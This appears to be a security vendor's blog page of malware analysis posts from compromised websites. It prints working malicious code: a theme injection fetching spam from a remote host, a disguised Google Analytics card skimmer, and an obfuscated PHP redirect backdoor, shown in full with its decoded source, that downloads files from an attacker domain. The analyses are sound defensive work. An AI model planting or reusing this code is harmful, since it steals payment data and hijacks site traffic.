Category: Website Security

“Loader for Secured Files” and arrayed b374k shell...

This file (33x77.php) was detected in the document root of a website during a website cleanup for a client. It demonstrates how hackers sometimes use comments or other text within malicious code to confuse website owners and prevent detection and removal of malicious files.

In this case, the “Loader for Secured Files. Copyright 2001-2017. All rights reserved.” text is used in an attempt to add some authenticity to the file. Credibility indicators like copyright or trademark symbols can trick administrators into thinking the file is not malicious, preventing further investigation.

This file’s coding structure also looks unusual — the code uses the function preg_match to perform a regular expression search and assign a group (e.g [1]) to its matching text. The search is then performed on the content provided by the php_strip_whitespace(FILE), which removes comments and whitespaces before it assigns the $f variable — whatever preg_match matches with its regular expression search. The $f variable now contains a string of base64 encoded text, and is decoded into an array using json_decode and base64_decode.

The array of the decoded base64 text string ($f) is logically ordered based on the array values to allow for further code eval:

The additional layers of encoding contain a popular PHP shell named b374k. This shell performs numerous functions to the hosting environment and its website.

Jul 27, 2019 by Luke Leal

Spam Doorway Manager

While investigating a client’s compromised website, we saw a malicious file that was being used to manage an existing SEO spam doorway.

We usually refer to these types of files as doorway generators due to their uncanny ability to create new SEO spam pages/doors.

These files can be large, as they incorporate a lot of various features (e.g functions to check SERPs and update the spam accordingly). They are also often obfuscated using various encoding like base64, or use hexadecimal instead of ASCII characters, but this file was different:

./wp-admin/new_readme.php

It utilizes a less suspicious way to obscure the malicious code through an array, then uses a PHP function alias to make the suspicious code harder to detect.

This created function is responsible for fetching the new SEO spam content:

The send function enables the spammer to use send in the code whenever they wish to fetch new SEO spam

A few additionally created functions are then used for inserting the new spam into index.php or .htaccess files and modifying the file permissions:

These created functions are similar to the previous send example, except for different actions like inserting code using fpc instead of file_put_contents

Before these new functions are used, the new SEO spam’s location needs to be determined — this is accomplished using variables $a, $b, $c, and $d.

There is no hard coded URL or domain name. Instead, this is supplied in the HTTP request sent to the file by the spammer:

Note the usage of an array to define the $d variable and the $_REQUEST used to define $a

These variables and created functions are all combined to perform specific tasks based on HTTP parameters being met on the request, and sent by the spammer to the file:

This set of code in the file runs when used with an HTTP request containing an if parameter. It then fetches new data from the previously defined $a variable, using the methods in the previously created function send(e.g curl, file_get_contents).

The “缺失” text looks to be Chinese characters similar to a 404 “File not found” error page. As long as the fetched data doesn’t include that, it is inserted into the defined file (index.php) and printed to the output.

After sending this crafted HTTP request, an index.php file containing the content from our $a variable is created in the same ./spam/ directory

The created functions like send, rwx, fpc, and fgc can help evade detection by some scanning tools that only usestatic signature rules, as they may only be looking for the PHP functions file_put_contents, file_get_contents, chmod, etc.

The attacker also avoids using common obfuscation methods like eval(base64), which are easily detectable and suspicious. However, a file integrity monitor would detect the addition of SEO spam doorways — including this malicious file, as well.

Jul 25, 2019 by Luke Leal

Shoesinfy Spam Injections

Lately, we've seen quite a few sites with injected spammy links that follow this format:

<div style="position: absolute; opacity: 0.001; z-index: 10; filter: alpha(opacity=0);">
<a href="https://www.shoesfindoutlet[.]co/">www.shoesfindoutlet[.]co</a>
<a href="https://www.stepperbest[.]com/">stepper motor</a>
</div>

The spammy domains may change from time to time but the entire format — and trick to make the content invisible — remains the same.

When we clean infected WordPress sites related to this campaign, we find malicious code similar to the following snippet injected into the active theme's function.php file.

<?php
function add_my_custom_script(){
$url_current = "https://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
?>
 <?php
    $url5 = "https://<compromised-site>/";
    if($url_current == $url5){ 
    $file = file_get_contents('http://www.shoesinfy[.]com/<compromised-site1>.txt');
    echo $file;
    ?>

<?php 
}
else
{
    $file = file_get_contents('http://www.shoesinfy[.]com/<compromised-site>.txt');
    echo $file;
}
?>

<?php
}
add_action('wp_footer', 'add_my_custom_script');

The block with spammy links is fetched from the remote shoesinfy[.]com site, allowing attackers to modify the injected code without accessing the site.

Moreover, each compromised site has its own text file with links on shoesinfy[.]com (found as shoesinfy[.]com/domain.tld1.txt). This text file allows bad actors to customize their spam injections across different compromised sites.

Jul 24, 2019 by Denis Sinegubko

Google Analytics Swiper Disguised as Legitimate Traffic

At first glance, this short script looks like benign Google Analytics code:

<script type="text/javascript">
    (function() {
        var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
        ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'www.google-analytics.com/analytics.js';
        ga.src = ga.src.replace(window.atob('Z29vZ2xlLWFuYWx5dGljcy5jb20'), window.atob('Z29vZ2xjLWFuYWx5dGljcy5jbS92Lw=='));
        (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(ga);
    })();

    var _qaq = _qaq || [];

_qaq.push(['_setAccount', 'UA-33088787-1']);
_qaq.push(['_trackPageview']);
</script>

However, if you inspect it thoroughly, you’ll notice two important details:

  1. The actual Google Analytics code has different format
  2. There is a line of code with base64-encoded values
ga.src = ga.src.replace(window.atob('Z29vZ2xlLWFuYWx5dGljcy5jb20v'), window.atob('Z29vZ2xjLWFuYWx5dGljcy5jbS92Lw=='));

The first value (Z29vZ2xlLWFuYWx5dGljcy5jb20v) decodes to “google-analytics.com/” - still benign.

The second value (Z29vZ2xjLWFuYWx5dGljcy5jbS92Lw==) is more suspicious — “googlc-analytics[.]cm/v/” . While it appears to belong to the Analytics domain, it contains a typo in the Google name and the TLD is .cm instead of .com.

This string of code replaces the publicly visible www.google-analytics.com/analytics.js URL with the malicious www.googlc-analytics[.]cm/v/analytics.js link.

At this point, the malicious link currently returns an old version of the real Google Analytics script. However, if you request the analytics.js file (without /v/) on the same server, you’ll get a credit card stealing script.

The script sends stolen data to the hxxps://www.googlc-analytics[.]cm/__utm.gif?v=1…. URL, which looks similar to Google tracking pixel URL. And if you request it directly, it will actually return a tiny gif image.

This trick allows malicious URLs look indistinguishable from legitimate traffic when people manually check requests generated by a web page. The URLs appear to be a real Google Analytics URL and return the content that you may expect from real Google Analytics URLs. Nonetheless, they are malicious and steal credit card details and credentials from forms when used on webpages that contain the following keywords in their URLs:

  • onepage
  • checkout
  • onestep
  • payment
  • admin
  • account
  • login
  • password
  • cart

Google Analytics is often used to camouflage various types of malicious injections. Here are some other examples that we’ve recently blogged about:

Jul 23, 2019 by Denis Sinegubko

FBCMS Pharmacy Spam Website

Whenever most people think of a website CMS, they most often think of the popular options like WordPress, Joomla, or Drupal. What do all three of those CMS platforms have in common along with most common CMS platforms? They use a programming language like PHP in conjunction with a database that is used to store the user-generated data. Now, in most cases that I have seen throughout the years, it is rare for a hacker to deploy one of these CMS platforms on a compromised website and use it for malicious purposes. It is usually just easier for the hacker to upload a few .zip files containing their doorway spam tools, then unzip them and move onto a new target. The content of these .zip files is usually a large directory containing a few scripts and a lot of SEO spam content that will be used to divert traffic or boost keywords. Another popular technique used by these SEO spammers is to inject existing website files and push new keywords “on-the-fly” from a remote server to the compromised websites hosting the injected files—more on that method here.

I mention this because I came across a pharmacy spam directory on a compromised website that was constructed using the Bootstrap CSS framework, along with various PHP engine files that serve the pharmacy content based on a visitor’s geolocation. Once it is loaded, it looks like a generic CMS or Bootstrap designed website except it is dedicated entirely to pharmacy spam:

Easily deployed, customisable pharmacy spam website
Easily deployed, customisable pharmacy spam website

A bizarrely named file ./wp-content/mu-plugins/0-sucuri-boot.php is used to begin loading the malicious pharmacy spam content. It contains similar header comments to our Sucuri plugin to add some fake authenticity. However, the file itself just loads the pharmacy website that was located in the directory wp-content/gforms/:
0-sucuri-boot.php: We do not use a file with such a name in our WordPress plugin
0-sucuri-boot.php: We do not use a file with such a name in our WordPress plugin

While it is unknown how the pharmacy spam website was created it looks like someone spent some time with the overall template as it has many features built into it), the configuration file is located within a ./cfg/config.victimdomain.php. This is used to define the target country (in this case, the United States) and a lot of other features related to what is going to be ultimately displayed to the visitor:

Overall, this pharmacy spam website uses over 750 files since it cannot depend upon a database to store the many pharmacy products it is advertising. It’s important to note that no actual sales occur through this pharmacy spam website that is placed onto compromised websites. Instead it redirects the visitor once they finally are ready to order:

Jul 23, 2019 by Luke Leal

web.config redirect malware

We recently found this malware on a windows hosting server where the web.config file was modified with the following code:

The code redirects multiple user agents and users referred from Google,Yahoo, MSN etc. to conceit-gleaned.php
The file conceit-gleaned.php contains the malware that is encoded to avoid detection, but we were able to reverse it and pull the plain text code.The malware communicates with the website gettheseorders[dot]ru in order to redirect users to the page they want. In this case, it redirected to Viagra-related pages but it could be anything in the future.

This is the malware added to the file conceit-gleaned.php:

<?php $ZdcIihIC="bSh8gtxCo6JlYQiK4AkwdIDe_VnN7OTfFr3sPZHaG291jRUqmcvXMzEy50puLWB";$wHnnxSifPdjM=$ZdcIihIC[0].
 $ZdcIihIC[39] . $ZdcIihIC[35] . $ZdcIihIC[23]. $ZdcIihIC[9] .$ZdcIihIC[16] . $ZdcIihIC[24]. $ZdcIihIC[20] .
 $ZdcIihIC[23]. $ZdcIihIC[49].$ZdcIihIC[8].$ZdcIihIC[20] .$ZdcIihIC[23];$cQBlOMOpUwc=$ZdcIihIC[4].$ZdcIihIC[53] .
 $ZdcIihIC[14].$ZdcIihIC[26] .$ZdcIihIC[31] .$ZdcIihIC[11] . $ZdcIihIC[39] .$ZdcIihIC[5]. $ZdcIihIC[23];
 $bHUDmvkyJ=$ZdcIihIC[23]. $ZdcIihIC[33].$ZdcIihIC[33] . $ZdcIihIC[8] .$ZdcIihIC[33] .$ZdcIihIC[24] .
  $ZdcIihIC[33] .$ZdcIihIC[23]. $ZdcIihIC[58] .$ZdcIihIC[8]. $ZdcIihIC[33] .$ZdcIihIC[5].$ZdcIihIC[14]. 
  $ZdcIihIC[26] .$ZdcIihIC[4];$cBpAXxrcExTv=$ZdcIihIC[49].$ZdcIihIC[33]. $ZdcIihIC[23] . $ZdcIihIC[39].
   $ZdcIihIC[5]. $ZdcIihIC[23].$ZdcIihIC[24]. $ZdcIihIC[31]. $ZdcIihIC[59]. $ZdcIihIC[26].$ZdcIihIC[49]. 
   $ZdcIihIC[5]. $ZdcIihIC[14]. $ZdcIihIC[8] . $ZdcIihIC[26];$bHUDmvkyJ(0);
   $jOfMRiAkmjE=$cBpAXxrcExTv("",$cQBlOMOpUwc($wHnnxSifPdjM("vRhrU9u49nM6w3/wut5i36ZOwqPbKZjClrRlymtDaOfewngUWyFa/
(edited) 
BD00Jz7anEV+JKgEXX5qhb3XF/5/AA==")));$jOfMRiAkmjE();?>

We were able to reverse it and this is the code that causes the redirect:

Here is the full script after we decoded it:

set_time_limit(0);
function change_page_regex($page, $links,$reg,$res){
$elements = array(); if (preg_match_all($reg, $page, $result)) { 
$elements = $result[$res]; $elements = array_unique($elements);
$m=min(count($links),count($elements));
for ($i = 0; $i < $m; $i++) { $link = array_shift($links); $element = array_shift($elements); $page = preg_replace('/' . preg_quote($element, '/') . '/', '$0 ' . $link, $page, 1); } if (count($links)>0){ $element = "<p>"; $element .= implode("<br>\n", $links); $element .= "</p>"; $page = preg_replace('/\<\/body\>/i', "\n" . $element . "\n$0", $page, 1); return $page;}
function curly_page_get($url,$useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"){ $ch = curl_init (); curl_setopt ($ch, CURLOPT_URL,$url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_TIMEOUT, 3000); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($ch, CURLOPT_USERAGENT, $useragent); $result = curl_exec ($ch); $curly_page_get_info=curl_getinfo($ch);
curl_close($ch); return array($result,$curly_page_get_info);}
function get_proxy_page(){ $proto=stripos(@$_SERVER['SERVER_PROTOCOL'],'https') === true ? 'https://' : 'http://'; $crurl=$proto.@$_SERVER['HTTP_HOST'].@$_SERVER['REQUEST_URI']; list($buf,$curly_page_get_info)=curly_page_get($crurl);
$ct=@$curly_page_get_info['content_type']; $nexturl=@$curly_page_get_info['redirect_url']; $status=@$curly_page_get_info['http_code']; if (status!="")header("Status: $status");
if ($ct!=""){ header("Content-type: $ct"); if ($nexturl!=""){ header("Location: $nexturl"); return array($buf,$ct);
}
if (function_exists('sys_get_temp_dir')) {$tmppath = sys_get_temp_dir();if (!is_dir($tmppath)){ $tmppath = (dirname(__FILE__)); } } else { $tmppath = (dirname(__FILE__));}
$content="";$x=@$_POST["pppp_check"];$md5pass="e5e4570182820af0a183ce1520afe43b";
$host=@$_SERVER["HTTP_HOST"];$uri=@$_SERVER["REQUEST_URI"];$host=str_replace("www.","",$host);$md5host=md5($host);$urx=$host.$uri;$md5urx=md5($urx);
$tmppath=$tmppath."/.".$md5host."/";@mkdir($tmppath);
$configs=$tmppath."emoji1.png";$bd=$tmppath."metaicons.jpg";$templ=$tmppath."wp-themesall.gif";
$domain=base64_decode("Z2V0dGhlc2VvcmRlcnMucnU=");$p=md5(base64_decode(@$_POST["p"]));
if (($x!="")&&($p==$md5pass)){
if ($x=="2"){ echo "###UPDATING_FILES###\n"; list($buf1,$curly_page_get_info)=@curly_page_get("http://update.".$domain."/images/".$md5host."/emoji1.png"); @file_put_contents($configs,$buf1); list($buf1,$curly_page_get_info)=@curly_page_get("http://update.".$domain."/images/".$md5host."/metaicons.jpg"); @file_put_contents($bd,$buf1); list($buf1,$curly_page_get_info)=@curly_page_get("http://update.".$domain."/images/".$md5host."/wp-themesall.gif"); @file_put_contents($templ,$buf1);
exit; 
 if ($x=="4"){ echo "###WORKED###\n";exit; 
 }else{
$cf=array(); if (@file_exists($configs)){ $cf=@unserialize(@base64_decode(@file_get_contents($configs))); if (@isset($cf[$md5urx])){ $bot=0;$se=0;$ua=@$_SERVER["HTTP_USER_AGENT"];$ref=@$_SERVER["HTTP_REFERER"];$myip=@$_SERVER["REMOTE_ADDR"]; if (preg_match("#google|bing\.com|msn\.com|ask\.com|aol\.com|altavista|search|yahoo|conduit\.com|charter\.net|wow\.com|mywebsearch\.com|handycafe\.com|babylon\.com#i", $ref))$se=1; if (preg_match("#google|gsa-crawler|AdsBot-Google|Mediapartners|Googlebot-Mobile|spider|bot|yahoo|google web preview|mail\.ru|crawler|baiduspider#i", $ua))$bot=1; $off=$cf[$md5urx]+0; $template=@base64_decode(@file_get_contents($templ));$f=@fopen($bd,"r");@fseek($f,$off);$buf=trim(@fgets($f,10000000));@fclose($f);$info=unserialize(base64_decode($buf)); $keyword=@$info["keyword"];$IDpack=@$info["IDpack"];$base=@$info["base"];$text=@$info["text"];$title=@$info["title"];$description=@$info["description"];$uckeyword=ucwords($keyword);$inside_links=@$info["inside_links"]; if ($bot) { if (isset($info["contenttype"])){$contenttype=@base64_decode($info["contenttype"]);$types=explode("\n",$contenttype);foreach($types as $val){$val=trim($val);if($val!="")header($val);}}
if (isset($info["isdoor"])){
if (isset($info["standalone"])){ $doorcontent=base64_decode($text); echo $doorcontent;exit; }else{ $template=str_replace("%text%",$text,$template); $template=str_replace("%title%",$title,$template); $template=str_replace("%description%",$description,$template); $template=str_replace("%uckeyword%",$uckeyword,$template); $template=str_replace("%keyword%",str_replace(" ", ",", trim($keyword)),$template);
foreach($inside_links as $i => $link){ $template=str_replace("%INSIDE_LINK_".$i."%",$link,$template); }
echo $template;exit; } }else{
list($buf,$ct)=get_proxy_page();
if (stristr($ct,"text/html")){ $rega='/\<a\s.*?\>.*?\<\/a\>/i';$resa=0; $links=$info["links_a"]; $buf=change_page_regex($buf,$links,$rega,$resa);
$regp='/(.{30}\<\/p\>)/is';$resp=1; $links=$info["links_p"]; $buf=change_page_regex($buf,$links,$regp,$resp);
}
echo $buf; }
} if ($se) { if (isset($info["isdoor"])){ list($buf1,$curly_page_get_info)=curly_page_get("http://$domain/ff.php?ip=".$IDpack."&mk=".rawurlencode($keyword)."&base=".rawurlencode($base)."&d=".rawurlencode($host)."&u=".rawurlencode($urx)."&addr=".$myip."&ref=".rawurlencode($ref),$ua); echo $buf1;exit; }else{ list($buf,$ct)=get_proxy_page(); echo $buf;exit; } } }else{
list($buf,$ct)=get_proxy_page(); echo $buf; 
}

You can see here that different data is recorded. By providing only the first two variables, we were still redirected to a spam site:

http://$domain/ff.php?ip=".$IDpack."&mk=".rawurlencode($keyword)."&base=".rawurlencode($base)."&d=".rawurlencode($host)."&u=".rawurlencode($urx)."&addr=".$myip."&ref=".rawurlencode($ref),$ua);
hxxp://gettheseorders[dot]ru/ff.php?ip=12423&mk=test

I was able to get redirected to the following spam/scam sites:

an-order-shop[dot]comalltabsstorekeys[dot]com

In this case, the web.config file was used to facilitate this redirect, as this was a Windows hosting environment, but it can easily be adopted to work under Linux. We recommend checking the .htaccess file or the web.config file if you are dealing with a similar problem. Also removing the malicious files; the path to them can be found in the configuration files I previously mentioned.

Jun 26, 2019 by Krasimir Konov

Malware Infection from One Directory Up

Malicious code can reside anywhere on the site — not just in the web directory of the folder.

During a recent incident response, all pages of a customer’s site were getting redirected to random URLs, making the problem hard to isolate at first.

A good first step is to use a tool to perform an integrity check on your site's files. If you can identify that all files are good, the next step is to check the database. This isn't always an easy task, however.

The following code was found in one of the DB entries that stored PHP code for further execution:

<?php if(isset($_REQUEST['ghtre'])){include('/home/content/{USER_HOME_DIR}/1/data/wordpress'); exit;} ?>

As you can see, the code includes a file which is not in the webroot but in a directory one level up — and is missing an extension. This approach is taken to avoid detection.

The content it fetches varies the sites to which the visitor is redirected:

<?php
error_reporting(0);
$client = new Client;
if (isset($_GET["u"])) $client->proxy();
elseif (isset($_GET["chk"])) $client->check_availability();
elseif (isset($_POST["upd"])) $client->update_client();
elseif (isset($_GET["delcache"])||isset($_GET[""]))
 $client->delCache($_GET['delcache'], $_GET['delpage']);
if($content = $client->getContent()) echo $content;
else {usleep(500000); echo $client-> getContent();}
…..

In conclusion, malware can sometimes operate from outside the web directories. For this reason, it’s very important to check and clean the entire environment to keep the site clean and avoid re-infections or cross-contaminations.

Jun 18, 2019 by Mohit Jawanjal